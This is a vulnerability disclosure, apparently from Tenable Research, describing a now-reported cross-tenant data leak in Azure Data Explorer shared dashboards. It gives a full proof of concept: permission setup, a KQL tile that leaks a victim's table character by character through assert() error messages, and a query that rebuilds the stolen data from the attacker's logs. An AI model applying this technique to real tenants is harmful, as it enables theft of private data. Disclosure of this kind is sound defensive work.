Microsoft Azure Data Explorer Cross-Tenant Data Leak with Custom Dashboard
Tenable Research has identified and responsibly disclosed a critical cross-tenant data exfiltration vulnerability in Azure Data Explorer (ADX). This flaw allowed an attacker to steal private data from a victim’s ADX cluster by abusing the “Share Dashboard” feature.
The vulnerability exploited a flaw in the cross-tenant dashboard sharing mechanism. An attacker could create a custom dashboard in their own Azure tenant and configure tiles with malicious Kusto Query Language (KQL).
Although the attacker lacked permissions to the victim’s data, the dashboard engine would execute these queries using the victim’s own credentials once they accepted a shared link. Because the dashboard was hosted in the attacker’s project, the results of these queries were logged in the attacker’s logs. When the victim browses to the dashboard, the queries will run, and the victim’s private ADX data will be exfiltrated to the attacker’s logs.
Proof of Concept:
Setup:
- Create an ADX cluster, database, and table in two different tenants (attacker & victim)
- Populate the victim’s table with some secret data
- Ensure that the victim has permissions to query their own table, but the attacker doesn’t
- Update permissions to the attacker’s cluster for all tenants
- Under Security + Networking>Security>Define tenants permissions choose All tenants
- As a tenant admin, turn on General>Tenant Features>Share Dashboards Across Tenants in ADX settings
- Give the victim permissions to query the attacker’s database:
.add database <ATTACKER_DB> users (‘aaduser=<VICTIM_EMAIL>’)
Attack:
- Generate a dashboard file with many malicious KQL tiles:
let Row = print toscalar( cluster(“https://secretcluster.kusto.windows.net”).database(“SecretDatabase”).Secrets | summarize rows = make_list(pack_all()) | project Letter = substring(base64_encode_tostring(dynamic_to_json(rows)), <POSITION>, 1) ); let L = toscalar(Row); print assert(L != “A”, “Pos0: A”); print assert(L != “B”, “Pos0: B”); print assert(L != “C”, “Pos0: C”); // … Asserts for the rest of the potential characters
- Share the dashboard with the victim
- Once the victim accepts the invite and opens the dashboard, the data will be exfiltrated as base64 to the attacker’s project logs, and can be reconstructed:
.show queries | where FailureReason startswith “Relop semantic error: SEM0080: assert() has failed with message: ‘Pos” | project Raw = substring(FailureReason, 69, strlen(FailureReason) – 70) | extend Number = toint(trim(” “, extract(@”^(\d+):”, 1, Raw))), Letter = trim(” “, extract(@”:\s*(\S)$”, 1, Raw)) | summarize any(Letter) by Number | sort by Number asc | summarize Result = strcat_array(make_list(any_Letter), “”)



